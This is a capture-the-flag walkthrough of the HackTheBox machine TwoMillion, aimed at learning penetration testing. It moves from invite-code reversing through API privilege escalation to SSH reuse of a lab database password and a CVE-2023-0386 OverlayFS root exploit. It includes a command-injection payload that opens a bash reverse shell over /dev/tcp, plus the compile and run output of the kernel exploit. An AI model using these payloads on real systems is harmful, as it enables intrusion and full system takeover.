TwoMillion is an easy-difficulty HackTheBox machine that begins with reverse engineering an obfuscated JavaScript invite code generator to register an account. Mapping API endpoints allows escalating privileges to an administrator via an insecure settings update route and achieving remote code execution through command injection in an OpenVPN configuration generator. Inspecting local configuration files yields database credentials that permit SSH access as the admin user. Privilege escalation to root is accomplished by exploiting an OverlayFS SUID privilege-smuggling vulnerability (CVE-2023-0386) in the Linux kernel to execute an arbitrary payload with elevated rights.
1. Reconnaissance & API Reverse Engineering
1.1 Nmap Network Scanning
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O 2million.htb -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-01 00:06 -0400 Nmap scan report for 2million.htb (10.129.229.66) Host is up (0.51s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx |_http-title: Did not follow redirect to http://2million.htb/ Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5 OS details: Linux 5.0 - 5.14 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 33.84 seconds
Based on the scan results, only 2 ports are open.
- Port 22 - Running OpenSSH 8.9p1 on Ubuntu Linux
- Port 80 - Running an Nginx web server.
1.2 Invitation Code Reverse Engineering
Navigating to the website, it is an older version of the HTB website. The website requires an invitation code for registration, and it seems I can get one from the /invite page.
SQL Injection did not work.
Inspecting the JavaScript files included in the page, I noticed there is a custom function makeInviteCode(). Running this JavaScript function directly in the browser console produced output with ROT13-encrypted ciphertext.
I was able to decrypt this ciphertext using CyberChef, and it contained a set of instructions.
In order to generate the invite code, make a POST request to /api/v1/invite/generate
I used curl to submit a POST request to the /api/v1/invite/generate endpoint, and I received a response, and the code is Base64 encoded.
{"0":200,"success":1,"data":{"code":"OFFaMk8tT1dOTjMtMjYzMzktWFRDTlg=","format":"encoded"}} Using the invite code, I was able to register a new account and log in to the dashboard.
1.3 API Endpoint Mapping & Analysis
After logging in, I used BurpSuit to analyse the traffic. I was able to list all the authenticated API endpoints.
Based on the results, the /api/v1/admin/settings/update endpoint is used to update user details.
2. Web Exploitation & Initial Access
2.1 Administrative Privilege Escalation
With the API endpoints mapped, I was able to submit a PUT request to the /api/v1/admin/settings/update endpoint without any data, and the endpoint responded with the missing field names. It also responded with the expected data type when a wrong data type was submitted.
After a few incorrect requests, I was able to escalate my privileges as a website administrator.
Furthermore, I was able to verify the privilege escalation using the /api/v1/admin/auth endpoint.
2.2 Authenticated Command Injection
The administrator can also generate ovpn files for any user through the /api/v1/admin/vpn/generate endpoint. This endpoint accepts the username field in JSON format to dynamically generate OpenVPN files for users.
Analysing parameter handling revealed that input supplied to the username field is passed directly to an underlying system shell command without adequate sanitisation. I was able to chain the commands using ; and comment out the rest of the script using #, which allowed me to execute commands on the target machine.
{
"username":"nullbyte; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.36/4444 0>&1' #"
}By setting up a reverse shell listener, I was able to gain an initial foothold into the target machine as www-data.
listening on [any] 4444 ... connect to [10.10.16.36] from (UNKNOWN) [10.129.229.66] 49314 bash: cannot set terminal process group (1096): Inappropriate ioctl for device bash: no job control in this shell www-data@2million:~/html$ whoami whoami www-data www-data@2million:~/html$
3. Credential Harvesting & SSH Pivot
Local file enumeration of the target machine revealed hardcoded passwords in a configuration(.env) file.
The target machine has only one user named admin.
www-data@2million:~/html$ cat .env cat .env DB_HOST=127.0.0.1 DB_DATABASE=htb_prod DB_USERNAME=admin DB_PASSWORD=SuperDuperPass123
User admin has reused their password for the database. I was able to use the password and log in as admin via SSH and retrieve the user flag.
The authenticity of host '2million.htb (10.129.229.66)' can't be established. ED25519 key fingerprint is: SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY ... admin@2million:~$ whoami admin admin@2million:~$ cat user.txt
4. Privilege Escalation - Linux Kernel OverlayFS (CVE-2023-0386)
4.1 Local Enumeration & System Profiling
After logging in as admin, I downloaded LinPeas to enumerate the local machine to look for privilege escalation vectors. The scan results flagged 9 kernel vulnerabilities, including OverlayFS (CVE-2023-0386).
CVE-2023-0386 is an OverlayFS SUID privilege smuggling flaw resulting from improper permission handling when copying files between filesystem layers.
4.2 Privilege Escalation & Root Flag
I found a POC script on GitHub.
I logged in using another terminal tab since this exploit needs two terminals to work.
After downloading and unzipping the files on the target machine, I ran gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl on the first terminal.
admin@2million:~/CVE-2023-0386-master$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
fuse.c: In function ‘read_buf_callback’:
fuse.c:106:21: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘off_t’ {aka ‘long int’} [-Wformat=]
106 | printf("offset %d\n", off);
| ~^ ~~~
| | |
| int off_t {aka long int}
| %ld
fuse.c:107:19: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘size_t’ {aka ‘long unsigned int’} [-Wformat=]
107 | printf("size %d\n", size);
| ~^ ~~~~
| | |
| int size_t {aka long unsigned int}
| %ld
fuse.c: In function ‘main’:
fuse.c:214:12: warning: implicit declaration of function ‘read’; did you mean ‘fread’? [-Wimplicit-function-declaration]
214 | while (read(fd, content + clen, 1) > 0)
| ^~~~
| fread
fuse.c:216:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
216 | close(fd);
| ^~~~~
| pclose
fuse.c:221:5: warning: implicit declaration of function ‘rmdir’ [-Wimplicit-function-declaration]
221 | rmdir(mount_path);
| ^~~~~
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c
admin@2million:~/CVE-2023-0386-master$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
[+] readdir
[+] getattr_callback
/file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601admin@2million:~$ cd CVE-2023-0386-master/ admin@2million:~/CVE-2023-0386-master$ ./exp uid:1000 gid:1000 [+] mount success total 8 drwxrwxr-x 1 root root 4096 Sep 30 07:32 . drwxrwxr-x 6 root root 4096 Sep 30 07:32 .. -rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file [+] exploit success! To run a command as administrator (user "root"), use "sudo
After executing ./exp on the second terminal, I was able to escalate privileges as root and retrieve the root flag.
Congrats! We found both flags!
HTB Machine Completion